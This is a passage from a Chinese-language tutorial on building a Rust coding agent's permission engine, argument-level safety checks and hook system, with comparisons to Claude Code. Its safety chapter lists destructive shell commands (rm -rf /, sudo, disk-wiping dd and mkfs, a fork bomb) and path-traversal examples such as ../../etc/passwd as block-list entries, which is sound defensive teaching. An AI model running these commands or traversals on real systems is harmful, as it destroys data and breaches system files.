后续对同一工具的 evaluate 调用会在 session_allows 集合(第一阶段)里找到它,直接返回 Permission::Allow,不再提示。

引擎还提供了几个检查结果的便捷方法:

#![allow(unused)]
fn main() {
pub fn is_allowed(&self, tool_name: &str, args: &Value) -> bool {
    matches!(self.evaluate(tool_name, args), Permission::Allow)
}

pub fn needs_approval(&self, tool_name: &str, args: &Value) -> bool {
    matches!(self.evaluate(tool_name, args), Permission::Ask)
}
}

会话批准有三个值得强调的特性:

  1. 按工具,不是全局的。 批准 write 不批准 bash。每个工具是独立的信任决策。
  2. 会话范围,不持久化。 批准存在内存里,进程退出就消失。没有文件,没有数据库。重启 agent,重新开始。
  3. 优先级高于规则。 starter 里会话批准先检查(第一阶段),所以批准覆盖任何规则。这是有意的简化——用户说"是"之后,无论规则如何,该工具在本次会话中都被批准了。

综合起来:完整追踪

追踪一个实际场景,看看流程端到端怎么工作。

用户用 ask_by_default 启动 agent,设置一条规则:write 始终允许。

#![allow(unused)]
fn main() {
let engine = PermissionEngine::ask_by_default(vec![
    PermissionRule::new("write", Permission::Allow),
]);
}

LLM 依次发起三次工具调用:

调用 1:read("src/main.rs")

第一阶段:"read" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 不匹配 "read"。没有更多规则。-> 继续
第三阶段:默认权限是 Ask。-> Ask

结果:Ask。UI 提示用户。(注意:starter 里工具上没有 is_read_only() 标志,读取工具走的和其他工具一样的流程。)

调用 2:write("src/main.rs", ...)

第一阶段:"write" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 匹配 "write"。权限:Allow。-> Allow

结果:Allow。写入静默执行——规则覆盖了默认权限本会做的事(询问用户)。

调用 3:bash("cargo test")

第一阶段:"bash" 不在 session_allows 中。-> 继续
第二阶段:规则 "write" 不匹配 "bash"。没有更多规则。-> 继续
第三阶段:默认权限是 Ask。-> Ask

结果:Ask。UI 提示用户。用户批准后,调用方调用 engine.record_session_allow("bash"),后续 bash 调用会在第一阶段直接允许。


引擎如何与 SimpleAgent 集成

PermissionEngine 设计为从 SimpleAgent 的工具执行流程内部调用。集成点在概念上很简单:

对于 LLM 的每次工具调用:
    1. 在 ToolSet 中查找工具
    2. 调用 permission_engine.evaluate(tool_name, args)
    3. 根据 Permission 匹配:
       - Allow  -> 执行工具
       - Deny   -> 向 LLM 返回错误字符串
       - Ask    -> 提示用户,然后执行或拒绝

完整接入留到后续章节。目前 PermissionEngine 是独立组件,接口干净:给它工具名称和参数,得到一个决策。这种分离让它可以独立测试——第 10 章的测试正是这样做的。


Claude Code 是如何做的

Claude Code 的权限系统架构相同,粒度更细。

权限模式。 Claude Code 有相同的核心模式——默认交互模式、自动批准模式、计划模式。模式通过 CLI 标志(--dangerously-skip-permissions 旁路,--plan 计划模式)或会话中交互式设置。

工具分组。 Claude Code 不用单个工具标志,而是把工具组织成权限组。文件工具、git 工具、shell 工具、MCP 工具各有组级别策略。一条规则可以允许或拒绝整个组。我们基于 glob 的模式用 "file_*" 这样的写法实现类似效果。

按路径规则。 Claude Code 的规则不只匹配工具名称,还能匹配工具参数——特别是文件路径。"允许写入 src/**"这样的规则允许源目录内的写入,阻止其他位置。我们的规则只匹配工具名称,更简单但精度较低。

会话批准。 Claude Code 的会话批准机制相同——用户批准一个工具后,本次会话持续有效。批准按工具名称存在内存里,会话重置时清除。

分层评估。 评估流程相同:检查会话批准,匹配规则,回退默认值。排序确保具体策略覆盖通用策略,与我们的实现一样。

两个系统的核心洞见相同:权限引擎是从 (rules, session_state, default_permission)Permission 的函数。不执行工具,不修改状态(会话批准除外),只回答一个问题:这次工具调用该继续吗?


测试

运行权限引擎测试:

cargo test -p mini-claw-code-starter permissions

主要测试:

  • test_permissions_allow_allallow_all() 对每个工具返回 Allow,确认旁路模式正常。
  • test_permissions_ask_by_default — 没有规则的 ask_by_default() 对任何工具返回 Ask
  • test_permissions_rule_matching — 针对 readbashwrite 的三条明确规则各返回对应权限。
  • test_permissions_glob_pattern — glob 规则 "mcp__*" 匹配 "mcp__fs__read" 但不匹配 "read"
  • test_permissions_first_rule_wins — 针对 "bash" 的两条规则(Allow 再 Deny),第一个匹配获胜,返回 Allow。
  • test_permissions_session_allowrecord_session_allow("bash") 之后,之前返回 Ask 的工具现在返回 Allow。
  • test_permissions_session_allow_per_tool — 批准 "read" 不会批准 "write"——会话批准是按工具的。
  • test_permissions_is_allowed / test_permissions_needs_approval — 便捷方法正确反映底层 evaluate() 的结果。
  • test_permissions_wildcard_rule"*" 规则覆盖所有工具的默认权限。
  • test_permissions_deny_overrides_default — 针对 "dangerous" 的 Deny 规则即使在默认为 Allow 时也阻止它。

关键要点

权限引擎是从 (tool_name, rules, session_state, default)Permission 的纯函数。不执行工具,不与用户交互,只回答"该继续吗?"这种分离让它易于测试,也可以在不同 UI 上下文中复用。


本章回顾

本章构建了 PermissionEngine——LLM 请求与工具之间的守门人。关键思想:

  • 三种结果AllowDenyAsk。每次工具调用在运行前得到其中一种。
  • 有序流程 — 会话批准优先,然后规则,然后默认权限。具体策略优于通用策略。
  • Glob 模式规则 — 规则用 glob::Pattern 匹配工具名称。第一个匹配的规则获胜,给用户精细控制哪些工具需要批准。
  • 会话批准 — 用户说"是",该工具本次会话获批。按工具,在内存,不持久化。
  • 便捷构造函数 — 交互场景用 ask_by_default(),旁路模式用 allow_all()

引擎是纯逻辑——不执行工具,不与用户交互,接受工具名称和参数,返回决策。可测试,可组合,易于推理。


下一步

权限引擎根据工具是什么用户处于什么模式决定调用是否运行。但它不看工具被要求做什么。bash 工具不管跑 ls 还是 rm -rf / 都是 bash 工具;write 工具不管目标是 src/main.rs 还是 .env 都是 write 工具。

第 14 章加入安全检查——对工具参数的静态分析,在权限提示出现之前捕获危险模式。它根据允许目录校验路径,把文件名与受保护模式(.env.git/config)对比,过滤 bash 命令中的危险模式(rm -rf /sudo、fork bomb)。安全检查包装工具,让危险调用在执行前就被阻止。

自我检测


← 第 12 章:工具注册表 · 目录 · 第 14 章:安全检查 →

第 14 章:安全检查

需要编辑的文件: src/safety.rs 运行测试: cargo test -p mini-claw-code-starter safety 预计用时: 40 分钟

第 13 章的权限引擎拦截每一次工具调用——决定是允许、拒绝还是在执行前询问用户。但判断依据是工具本身,不是参数。自动模式下,write 调用不管目标是 src/main.rs 还是 .env 都会放行。默认模式下,bash 调用不管命令是 ls 还是 rm -rf / 都会提示用户。权限引擎知道谁在敲门,却不查看对方带来了什么。

安全检查填补这个空缺。SafetyChecker 在权限引擎运行之前对工具参数做静态分析,检查实际要写入的路径或实际要执行的命令,阻止那些无论权限模式如何都属于危险的操作。这是纵深防御:即使权限引擎会放行某次调用,安全检查器仍然可以拒绝。

为什么要两层?因为它们防御的失败模式不同。权限引擎防止 LLM 执行用户未授权的操作;安全检查器防止 LLM 执行永远不安全的操作——写入 .env、运行 rm -rf /、执行 fork bomb。设了旁路模式的用户是在说"我信任这个 agent",安全检查器则说"信任也有边界"。

cargo test -p mini-claw-code-starter safety

目标

  • 实现 PathValidator,把文件操作限制在单个目录树内,阻止 ../../etc/passwd 之类的路径穿越攻击。
  • 实现 CommandFilter,用 glob 模式匹配阻止危险 shell 命令(rm -rf /sudo、fork bomb)。
  • 实现 ProtectedFileCheck,防止对匹配受保护模式的敏感文件(.env.git/config)进行写入和编辑。
  • 通过 SafeToolWrapper 把所有检查串联,任何单项安全检查失败都阻止工具调用,并向 LLM 返回描述性错误信息。

SafetyCheck trait 及其实现

安全系统位于 src/safety.rs。参考实现用的是单个 SafetyChecker 结构体,starter 改用基于 trait 的设计:三个职责单一的实现,加一个包装器。

SafetyCheck trait

#![allow(unused)]
fn main() {
pub trait SafetyCheck: Send + Sync {
    fn check(&self, tool_name: &str, args: &Value) -> Result<(), String>;
}
}

每个安全检查实现此 trait。接收工具名称和参数,返回 Ok(()) 表示放行,返回 Err(reason) 表示阻止。trait 要求 Send + Sync,因为安全检查存储在 SafeToolWrapper 内部,而 SafeToolWrapper 实现了 Tool trait,可能被多个异步任务共享。

Rust 核心概念:Send + Sync trait 约束

SafetyCheck 上的 Send + Sync 约束是必要的。工具存储在 Box<dyn Tool> 里,放在 agent 持有的 HashMap 中。在 tokio 这样的异步运行时,agent 的 future 可能在线程间移动。Send 意味着类型可被转移到另一个线程;Sync 意味着 &self 引用可在线程间共享。两者合在一起,保证安全检查能从任何异步任务调用,不产生数据竞争。缺少这些约束,编译器会拒绝把 Box<dyn SafetyCheck> 存入 SafeToolWrapper,因为 SafeToolWrapper 本身必须是 Send + Sync 才能满足 Tool trait 的要求。

PathValidator

#![allow(unused)]
fn main() {
pub struct PathValidator {
    allowed_dir: PathBuf,
    raw_dir: PathBuf,
}
}

PathValidator 把文件操作限制在单个目录树内。构造时规范化允许目录,之后把每个路径参数与之对比。即使 LLM 执意要求,agent 也无法写入 /etc/passwd 或编辑 ~/.ssh/authorized_keys

validate_path 方法把相对路径相对于 raw_dir 解析为绝对路径,规范化结果(新文件则规范化其父目录),再用 starts_withallowed_dir 对比。SafetyCheck 的实现只对带 path 参数的工具(readwriteedit)生效。

CommandFilter

#![allow(unused)]
fn main() {
pub struct CommandFilter {
    blocked_patterns: Vec<glob::Pattern>,
}
}

CommandFilter 根据一组阻止 glob 模式检查 bash 命令。rm -rf / 删除一切,sudo 提升权限,:(){:|:&};: 是让系统崩溃的 fork bomb。无论什么上下文,这些命令都不该运行。

default_filters() 构造函数提供了合理的默认值:

#![allow(unused)]
fn main() {
pub fn default_filters() -> Self {
    Self::new(&[
        "rm -rf /".into(),
        "rm -rf /*".into(),
        "sudo *".into(),
        "> /dev/sda*".into(),
        "mkfs.*".into(),
        "dd if=*of=/dev/*".into(),
        ":(){:|:&};:".into(),
    ])
}
}

ProtectedFileCheck

#![allow(unused)]
fn main() {
pub struct ProtectedFileCheck {
    patterns: Vec<glob::Pattern>,
}
}

ProtectedFileCheck 阻止对匹配受保护 glob 模式的文件进行写入和编辑。同时检查完整路径和仅文件名,所以 .env 这样的模式无论目录如何都能匹配 /project/.env


SafeToolWrapper

SafeToolWrapper 是把安全检查与工具系统连接起来的桥梁:

#![allow(unused)]
fn main() {
pub struct SafeToolWrapper {
    inner: Box<dyn Tool>,
    checks: Vec<Box<dyn SafetyCheck>>,
}
}

Vec<Box<dyn SafetyCheck>> 包装一个 Box<dyn Tool>。调用 call() 时先运行所有安全检查。任何检查返回 Err,包装器返回 Ok(format!("error: safety check failed: {reason}")) ——注意是带错误信息字符串的 Ok,不是 Err。原因:在 starter 里 Tool::call 返回 anyhow::Result<String>,安全拒绝不是系统错误,而是受控拒绝,LLM 应该看到并据此调整。

#![allow(unused)]
fn main() {
#[async_trait]
impl Tool for SafeToolWrapper {
    fn definition(&self) -> &ToolDefinition {
        self.inner.definition()
    }

    async fn call(&self, args: Value) -> anyhow::Result<String> {
        // Run all safety checks. If any returns Err, return the error as a string.
        // Otherwise, call the inner tool.
        unimplemented!()
    }
}
}

with_check 便捷构造函数用于包装单个检查:

#![allow(unused)]
fn main() {
pub fn with_check(tool: Box<dyn Tool>, check: impl SafetyCheck + 'static) -> Self {
    Self::new(tool, vec![Box::new(check)])
}
}

这种设计让安全检查可以自由组合。可以同时用 PathValidatorCommandFilterProtectedFileCheck 包装一个工具——每个检查独立运行,任何一个失败都阻止调用。


检查的分发流程

flowchart LR
    A["SafeToolWrapper.call(args)"] --> B["PathValidator"]
    A --> C["CommandFilter"]
    A --> D["ProtectedFileCheck"]
    B -->|"read/write/edit"| E{"Path inside<br/>allowed_dir?"}
    C -->|"bash"| F{"Command<br/>matches blocked<br/>pattern?"}
    D -->|"write/edit"| G{"Filename<br/>matches protected<br/>pattern?"}
    E -->|No| H["Err: blocked"]
    E -->|Yes| I["Ok"]
    F -->|Yes| H
    F -->|No| I
    G -->|Yes| H
    G -->|No| I
    I --> J["Inner tool.call(args)"]
    H --> K["Return error string<br/>to LLM"]

每个 SafetyCheck 实现通过匹配 check 方法里的 tool_name 参数决定自己适用哪些工具:

  • PathValidator — 对 readwriteedit 生效。提取 path 参数,对照允许目录校验。
  • CommandFilter — 仅对 bash 生效。提取 command 参数,与阻止模式对比。
  • ProtectedFileCheck — 对 writeedit 生效。提取 path 参数,把完整路径和文件名分别与受保护模式对比。

不匹配任何检查的工具直接放行。read 这样的只读工具会被 PathValidator 检查(强制目录边界),但不会被 ProtectedFileCheck 检查(读取 .env 本身不危险——危险在于写入敏感文件)。

每个检查对不处理的工具返回 Ok(()),用无关检查包装工具是无害的——直接放行。


路径校验

PathValidator::validate_path 实现目录包含检查:

#![allow(unused)]
fn main() {
pub fn validate_path(&self, path: &str) -> Result<(), String> {
    let target = Path::new(path);

    // Step 1: resolve to absolute path
    let resolved = if target.is_absolute() {
        target.to_path_buf()
    } else {
        self.raw_dir.join(target)
    };

    // Step 2: canonicalize (resolves symlinks and ..)
    let canonical = if resolved.exists() {
        resolved.canonicalize()
            .map_err(|e| format!("cannot resolve path: {e}"))?
    } else {
        // For new files, canonicalize the parent directory
        let parent = resolved.parent().ok_or("invalid path")?;
        if parent.exists() {
            let mut c = parent.canonicalize()
                .map_err(|e| format!("cannot resolve parent: {e}"))?;
            if let Some(filename) = resolved.file_name() {
                c.push(filename);
            }
            c
        } else {
            return Err(format!("parent directory does not exist: {}",
                parent.display()));
        }
    };

    // Step 3: check containment
    if canonical.starts_with(&self.allowed_dir) {
        Ok(())
    } else {
        Err(format!("path {} is outside allowed directory {}",
            canonical.display(), self.allowed_dir.display()))
    }
}
}

关键步骤:

  1. 解析相对路径:相对于 raw_dir 得到绝对路径。
  2. 规范化目标路径。文件已存在直接规范化;不存在则规范化父目录再追加文件名。这处理了在已有目录中写新文件的常见情况。
  3. starts_with 与规范化的 allowed_dir 对比。

比简单前缀匹配更健壮——规范化会解析 .. 和符号链接。/project/../etc/passwd 被解析为 /etc/passwd,与 /projectstarts_with 检查直接失败。


受保护文件的模式匹配

ProtectedFileCheckglob::Pattern 匹配。对每次 writeedit 调用,提取路径参数,把完整路径和仅文件名分别与每个模式对比:

#![allow(unused)]
fn main() {
fn check(&self, tool_name: &str, args: &Value) -> Result<(), String> {
    match tool_name {
        "write" | "edit" => {
            if let Some(path) = args.get("path").and_then(|v| v.as_str()) {
                for pattern in &self.patterns {
                    // Check full path and filename separately
                    if pattern.matches(path)
                        || pattern.matches(
                            Path::new(path).file_name()
                                .unwrap_or_default()
                                .to_str().unwrap_or(""),
                        )
                    {
                        return Err(format!(
                            "file `{path}` is protected (matches pattern `{}`)",
                            pattern.as_str()
                        ));
                    }
                }
                Ok(())
            } else {
                Ok(())
            }
        }
        _ => Ok(()),
    }
}
}

同时检查完整路径和文件名很重要。.env 这样的模式不管写成完整路径 glob 还是简单文件名,都应该匹配 /project/.envglob::Pattern crate 负责实际匹配,提供包括通配符和字符类在内的完整 glob 语义。


命令过滤

CommandFilter::is_blocked 根据阻止 glob 模式检查命令:

#![allow(unused)]
fn main() {
pub fn is_blocked(&self, command: &str) -> Option<&str> {
    // Trim command, check against each pattern, return matching pattern
    unimplemented!()
}
}

与参考实现的子串匹配不同,starter 用 glob::Pattern 匹配命令,模式表达能力更强——"sudo *" 匹配任何以 sudo 开头后接参数的命令,"rm -rf /*" 匹配特定危险模式。

SafetyCheck 的实现只对 bash 工具生效:

#![allow(unused)]
fn main() {
fn check(&self, tool_name: &str, args: &Value) -> Result<(), String> {
    // Only check 'bash' tool, extract command, call is_blocked
    unimplemented!()
}
}

所有基于模式的方法都有类似局限:可能产生误报(阻止匹配某模式的无害命令)和漏报(遗漏用不同语法表达的危险命令)。对教程而言,模式匹配是合适的权衡——在不引入 shell 解析复杂性的前提下展示了架构。


Claude Code 是怎么做的

Claude Code 的安全检查更复杂,在多个层面运行:

带解析的命令分类。 不是子串匹配,而是结合正则表达式和 shell AST 解析对命令分类。能识别 rm -rf /rm -r -f /command rm -rf / 是同一操作,能解析管道和重定向,分别检查管道里的每个命令。我们的方法是平铺字符串扫描——没有结构,没有解析。

路径规范化与符号链接解析。 目录检查前先解析 ../~、环境变量和符号链接。$HOME/../../../etc/passwd 这样的路径被规范化为 /etc/passwd 再检查。我们的实现直接用路径字面值——精心构造的含 ../ 的路径可能绕过允许目录检查。

感知 Git 的受保护路径。 Claude Code 决定保护内容时会考虑 git 状态。未被跟踪的 .env 文件比被跟踪的受到更强保护——未被跟踪说明它很可能包含被有意排除在版本控制外的真实密钥。我们的实现对所有 .env 文件一视同仁。

严重性级别。 Claude Code 区分应警告和应阻止的操作。写入 .env 可能产生用户可覆盖的警告,运行 rm -rf / 是无条件阻止。我们的 Permission::Deny 只有单一严重性——阻止,不可覆盖。

这个差距是有意为之的。子串匹配和基于前缀的路径检查易于理解,易于测试。它们展示的是安全检查的架构——一个在权限引擎运行前检查参数的独立层——不引入 shell 解析和路径解析的复杂性。理解了 SafetyChecker 在流水线中的位置,就理解了 Claude Code 安全系统的位置。各个检查的复杂度只是实现细节。


安全检查在流水线中的位置

下面展示安全检查和权限引擎如何组合,呈现完整图景。starter 里安全检查通过 SafeToolWrapper 内嵌在工具内部。SimpleAgent 派发工具调用时:

LLM requests tool call
    |
    v
PermissionEngine.evaluate(tool_name, args)
    |--- Deny? --> block, return error to LLM
    |--- Ask?  --> prompt user
    |--- Allow? --> continue
    v
SafeToolWrapper.call(args)
    |--- SafetyCheck fails? --> return Ok("error: ...") to LLM
    |--- All checks pass?   --> continue
    v
Inner Tool.call(args)
    |
    v
Return result to LLM

权限引擎先运行(决定工具是否该跑),安全检查在工具调用内部运行。SafeToolWrapper 即使在权限引擎放行的情况下,也会捕获危险参数。包装器返回错误字符串(不是 Err),让 LLM 看到拒绝原因并调整策略。

这意味着安全检查是内层防御。即使用 allow_all() 权限模式,用 SafeToolWrapper 包装的工具仍然阻止写入 .env 或匹配 rm -rf / 的命令。安全包装器是任何权限配置都无法突破的底线。


测试

运行安全检查测试:

cargo test -p mini-claw-code-starter safety

关键测试:

  • test_safety_path_within_allowed — 允许目录内的文件通过校验。
  • test_safety_path_outside_allowed — 允许目录为临时目录时,/etc/passwd 被拒绝。
  • test_safety_path_traversal_blocked../../etc/passwd 路径穿越被解析并拒绝。
  • test_safety_path_new_file_in_allowed — 允许目录中尚不存在的新文件通过校验。
  • test_safety_safety_check_read_tool — PathValidator 对 read 工具生效,校验 path 参数。
  • test_safety_safety_check_ignores_bash — PathValidator 跳过 bash 工具(没有 path 参数可检查)。
  • test_safety_command_filter_blocks_rm_rfrm -rf /rm -rf /* 均被捕获。
  • test_safety_command_filter_blocks_sudosudo rm file 匹配 sudo * 模式。
  • test_safety_command_filter_allows_safels -laecho hellocargo test 正常放行。
  • test_safety_protected_file_blocks_env — 写入 .env.env.local 被阻止。
  • test_safety_protected_file_allows_normal — 写入 src/main.rs 正常放行。
  • test_safety_wrapper_blocks_on_check_failure — 检查失败时,SafeToolWrapper 返回 "error: safety check failed" 字符串。
  • test_safety_wrapper_allows_valid_call — 所有检查通过时,SafeToolWrapper 透传给内层工具。
  • test_safety_custom_blocked_commands — 自定义阻止模式(docker rm *npm publish*)正常工作。

核心要点

安全检查检查的是工具参数,不是工具身份。权限引擎问"这个工具是否该运行?",安全检查问"这次具体调用危险吗?"两层通过纵深防御组合:即使所有权限都已授予,SafeToolWrapper 仍然阻止写入 .env 和匹配 rm -rf / 的命令。


小结

安全系统在 LLM 和工具执行之间增加了第二道防线:

  • 基于 trait 的设计SafetyCheck trait 允许可组合的独立检查。PathValidatorCommandFilterProtectedFileCheck 各司其职。
  • 参数级检查 — 与检查工具身份的权限引擎不同,安全检查审查实际参数:哪个文件被写入,哪个命令被执行。
  • SafeToolWrapper — 用 Vec<Box<dyn SafetyCheck>> 包装任意 Box<dyn Tool>。失败时返回 Ok("error: ..."),不是 Err,让 LLM 看到拒绝原因并作出调整。
  • 基于 glob 的匹配CommandFilterProtectedFileCheck 都用 glob::Pattern 匹配,无需自定义代码即可实现丰富匹配。
  • 路径规范化PathValidator 在检查前规范化路径,防止通过 .. 或符号链接绕过。
  • 纵深防御 — 安全检查在工具调用内部运行。即使用 allow_all() 权限模式,被包装的工具仍然强制安全规则。

这一架构——可组合的、检查参数的、包装工具的检查——展示了 Claude Code 所用的同款纵深防御模式。

下一步

第 15 章:Hook 系统中,你将构建 pre-tool 和 post-tool hook——在工具执行前后运行的 shell 命令。hook 让用户强制执行内置安全检查器之外的自定义策略:每次编辑后运行 linter、阻止写入特定目录、记录每条 bash 命令。安全检查器是内置守卫,hook 是用户定义的守卫。

自测


← 第 13 章:权限引擎 · 目录 · 第 15 章:Hook →

第 15 章:Hook 系统

需要编辑的文件: src/hooks.rs 运行测试: cargo test -p mini-claw-code-starter hooks 预计用时: 40 分钟

第 13 章的权限引擎决定工具调用是否执行。第 14 章的安全检查在用户看到提示之前就捕获危险模式。但这两个系统都内嵌在 agent 里——强制执行的是你这位开发者在编译时选择的规则。用户的需求呢?

用户有 agent 作者无法预料的策略。团队可能要求把每条 bash 命令记录到审计文件。某个项目可能要求文件写入只能发生在特定目录。CI 流水线可能需要每次编辑后运行 linter。这些不是"防止 rm -rf /"意义上的安全检查——它们是在运行时扩展 agent 行为的工作流 hook。

本章构建 hook 系统。Hook 是事件驱动的:在关键生命周期节点(工具调用前、工具调用后、agent 启动时、agent 结束时)触发,可以观察、修改或阻止执行。基于 trait 的设计意味着任何人都可以实现 hook——用于调试的日志 hook、用于策略执行的阻止 hook、把决策委托给外部命令的 shell hook。

cargo test -p mini-claw-code-starter hooks

目标

  • 定义 HookEvent 枚举,包含四个生命周期节点(AgentStartPreToolCallPostToolCallAgentEnd),每个节点携带相关上下文数据。
  • 实现 Hook trait 和 HookRegistry 分发逻辑:Block 短路退出,ModifyArgs 累积,Continue 为默认值。
  • 构建三个具体 hook:LoggingHook(观察所有事件)、BlockingHook(拒绝特定工具)、ShellHook(委托给外部命令)。
  • 确保 hook 正确组合——注册顺序决定优先级,阻止 hook 阻止后续 hook 运行。

事件模型

写代码之前,先定义 hook 何时触发。第 7 章的 agent 循环有清晰的生命周期:

User prompt arrives
  -> AgentStart
  -> Provider returns tool calls
    -> PreToolCall (for each tool)
    -> Tool executes
    -> PostToolCall (for each tool)
  -> Provider returns final answer
  -> AgentEnd
sequenceDiagram
    participant Agent
    participant Registry as HookRegistry
    participant Tool

    Agent->>Registry: dispatch(AgentStart)
    loop For each tool call
        Agent->>Registry: dispatch(PreToolCall)
        alt Block returned
            Registry-->>Agent: Block(reason)
            Agent->>Agent: Return error to LLM
        else Continue/ModifyArgs
            Registry-->>Agent: Continue or ModifyArgs
            Agent->>Tool: tool.call(args)
            Tool-->>Agent: result
            Agent->>Registry: dispatch(PostToolCall)
        end
    end
    Agent->>Registry: dispatch(AgentEnd)

四个事件,四个外部代码可以介入的节点:

事件触发时机Hook 可执行的操作
AgentStart第一次调用 provider 之前记录 prompt、初始化状态
PreToolCall每次工具执行之前阻止调用、修改参数
PostToolCall每次工具执行之后记录结果、触发后续操作
AgentEnd最终响应之后记录响应、清理状态

这种不对称是有意为之的。PreToolCall 可以阻止或修改,因为工具还没跑——还有时间介入。PostToolCall 无法阻止,工具已经跑完,阻止毫无意义,只能观察。


核心类型

打开 src/hooks.rs。模块定义三种类型:HookEventHookActionHook trait。

HookEvent

#![allow(unused)]
fn main() {
#[derive(Debug, Clone)]
pub enum HookEvent {
    PreToolCall {
        tool_name: String,
        args: Value,
    },
    PostToolCall {
        tool_name: String,
        args: Value,
        result: String,
    },
    AgentStart {
        prompt: String,
    },
    AgentEnd {
        response: String,
    },
}
}

每个变体携带与其生命周期节点相关的数据。PreToolCall 携带工具名称和参数——hook 决定是否允许或修改调用所需的一切。PostToolCall 额外包含结果字符串。AgentStartAgentEnd 分别携带用户 prompt 和最终响应。

枚举派生了 Clone,因为 HookRegistry 通过共享引用(&HookEvent)依次把事件传给每个 hook。需要存储事件的 hook(如 LoggingHook)会克隆;只需检查事件的 hook(如 BlockingHook)直接借用,不克隆。

HookAction

#![allow(unused)]
fn main() {
#[derive(Debug, Clone, PartialEq)]
pub enum HookAction {
    Continue,
    Block(String),
    ModifyArgs(Value),
}
}

三种可能响应,按严重程度排列:

  • Continue — 默认值。hook 没有异议,执行正常继续。
  • Block(reason) — 停止工具调用。原因字符串作为错误消息返回给 LLM,让它明白调用为何被拒绝,从而调整策略。
  • ModifyArgs(new_args) — 在执行前替换工具参数。这是 hook 在不完全阻止调用的情况下注入默认值、规范化路径或强制约束的方式。

HookAction 派生了 PartialEq,测试可以用 assert_eq! 断言特定动作。这纯粹是测试便利——运行时用模式匹配,不用相等性检查。

Hook trait

#![allow(unused)]
fn main() {
#[async_trait]
pub trait Hook: Send + Sync {
    async fn on_event(&self, event: &HookEvent) -> HookAction;
}
}

一个方法。接收事件引用,返回动作。trait 要求 Send + Sync,因为 hook 存储在 HookRunner 内部,runner 可能被多个异步任务共享。async_trait 属性处理对返回 future 进行 box 的常规操作。

与第 6 章的 Tool trait 模式相同——一个接受结构化输入、返回结构化输出的单一异步方法。区别在于范围:工具与外部世界交互(文件系统、shell),hook 与 agent 自身的执行交互。


HookRegistry

单个 hook 有用,但真正的价值在于组合。HookRegistry 持有 hook 列表,按顺序把事件分发给它们。

#![allow(unused)]
fn main() {
pub struct HookRegistry {
    hooks: Vec<Box<dyn Hook>>,
}

impl HookRegistry {
    pub fn new() -> Self {
        Self { hooks: Vec::new() }
    }

    pub fn register(&mut self, hook: impl Hook + 'static) {
        self.hooks.push(Box::new(hook));
    }

    pub fn with(mut self, hook: impl Hook + 'static) -> Self {
        self.register(hook);
        self
    }

    pub fn is_empty(&self) -> bool {
        self.hooks.is_empty()
    }
}
}

构建器 API 很眼熟——与第 4 章的 ToolSet 相同。with() 获取所有权并返回 self 支持链式调用;register()&mut self 适合命令式代码。两者都接受 impl Hook + 'static,把具体类型 box 成 trait 对象。

dispatch 方法

动作如何组合,是有趣的地方:

#![allow(unused)]
fn main() {
pub async fn dispatch(&self, event: &HookEvent) -> HookAction {
    // Iterate hooks in order
    // If any hook returns Block, return Block immediately
    // If any hook returns ModifyArgs, remember the new args
    // If all hooks return Continue (and no ModifyArgs), return Continue
    unimplemented!()
}
}

三条规则:

  1. Block 短路退出。 任何 hook 返回 Block,注册表立即停止并返回该动作。后续 hook 不会看到该事件。这是正确行为——策略说"不允许 bash",就没必要再问日志 hook 的意见。

  2. ModifyArgs 累积。 多个 hook 返回 ModifyArgs,最后一个生效。每个修改参数的 hook 覆盖之前的修改。简单但有效——需要更复杂组合(合并参数对象)时,在单个 hook 里封装逻辑即可。

  3. Continue 是默认值。 没有 hook 表态,执行照常进行。空注册表始终返回 Continue

顺序求值意味着优先级由注册顺序决定。先注册的 hook 先运行。想让阻止 hook 优先于日志 hook,先注册它。


内置 hook

模块提供三个现成的 hook,每个展示不同的使用模式。

LoggingHook

#![allow(unused)]
fn main() {
pub struct LoggingHook {
    log: std::sync::Mutex<Vec<String>>,
}

impl LoggingHook {
    pub fn new() -> Self {
        Self {
            log: std::sync::Mutex::new(Vec::new()),
        }
    }

    pub fn messages(&self) -> Vec<String> {
        self.log.lock().unwrap().clone()
    }
}

#[async_trait]
impl Hook for LoggingHook {
    async fn on_event(&self, event: &HookEvent) -> HookAction {
        // Format as "pre:{tool_name}", "post:{tool_name}", "agent:start", "agent:end"
        unimplemented!()
    }
}
}

最简单的 hook:记录每个事件的简短描述,从不干预。始终返回 Continue,永远不阻止或修改任何操作。Mutex<Vec<String>> 提供内部可变性——on_event 方法接受 &self(不是 &mut self),所以需要锁才能向 vector 里推入数据。

Rust 核心概念:异步代码中用 Mutex 实现内部可变性

Hook trait 要求 &self(不是 &mut self),因为注册表通过共享引用持有 hook。但 LoggingHook 需要修改内部日志。解决方案是 std::sync::Mutex<Vec<String>>——一个提供互斥访问的锁。on_event 调用 self.log.lock().unwrap() 时,获得对 Vec 的独占访问,推入一条消息,守卫离开作用域时释放锁。

为什么用 std::sync::Mutex 而不是 tokio::sync::Mutex?锁只在 push 操作期间被持有——微秒级,临界区内没有 .await。标准库的 Mutex 对短暂的同步临界区更快。只有需要跨越 .await 点持有锁时,才需要 tokio::sync::Mutex

starter 里 LoggingHook 记录字符串描述而不是克隆的事件。格式简洁:"pre:bash""post:write""agent:start""agent:end"。这让测试断言更简单——比较字符串而不是匹配枚举变体。

LoggingHook 在测试中很有价值。用一个 LoggingHook 构建注册表,触发一些事件,检查记录了什么。测试正是这样做的。

BlockingHook

#![allow(unused)]
fn main() {
pub struct BlockingHook {
    blocked_tools: Vec<String>,
    reason: String,
}

impl BlockingHook {
    pub fn new(blocked_tools: Vec<String>, reason: impl Into<String>) -> Self {
        Self {
            blocked_tools,
            reason: reason.into(),
        }
    }
}

#[async_trait]
impl Hook for BlockingHook {
    async fn on_event(&self, event: &HookEvent) -> HookAction {
        if let HookEvent::PreToolCall { tool_name, .. } = event {
            if self.blocked_tools.iter().any(|b| b == tool_name) {
                return HookAction::Block(self.reason.clone());
            }
        }
        HookAction::Continue
    }
}
}

策略 hook:接受工具名称列表,阻止任何匹配的 PreToolCall 事件。其他事件——PostToolCallAgentStartAgentEnd,以及不在列表中工具的 pre-tool 事件——都作为 Continue 放行。

模式匹配是有意为之的。hook 只检查 PreToolCall 事件。被阻止工具的 PostToolCall,什么都不做——工具已经跑完,阻止毫无意义。这正是事件模型表里的不对称,在代码里得到了执行。

可以用 BlockingHook 实现工作区级别策略。比如,只读项目阻止 writeeditbash

#![allow(unused)]
fn main() {
let hook = BlockingHook::new(
    vec!["write".into(), "edit".into(), "bash".into()],
    "this workspace is read-only",
);
}

LLM 在工具结果里看到阻止原因,本次会话剩余时间内切换到只读工具。

ShellHook

#![allow(unused)]
fn main() {
pub struct ShellHook {
    command: String,
    tool_pattern: Option<glob::Pattern>,
}

impl ShellHook {
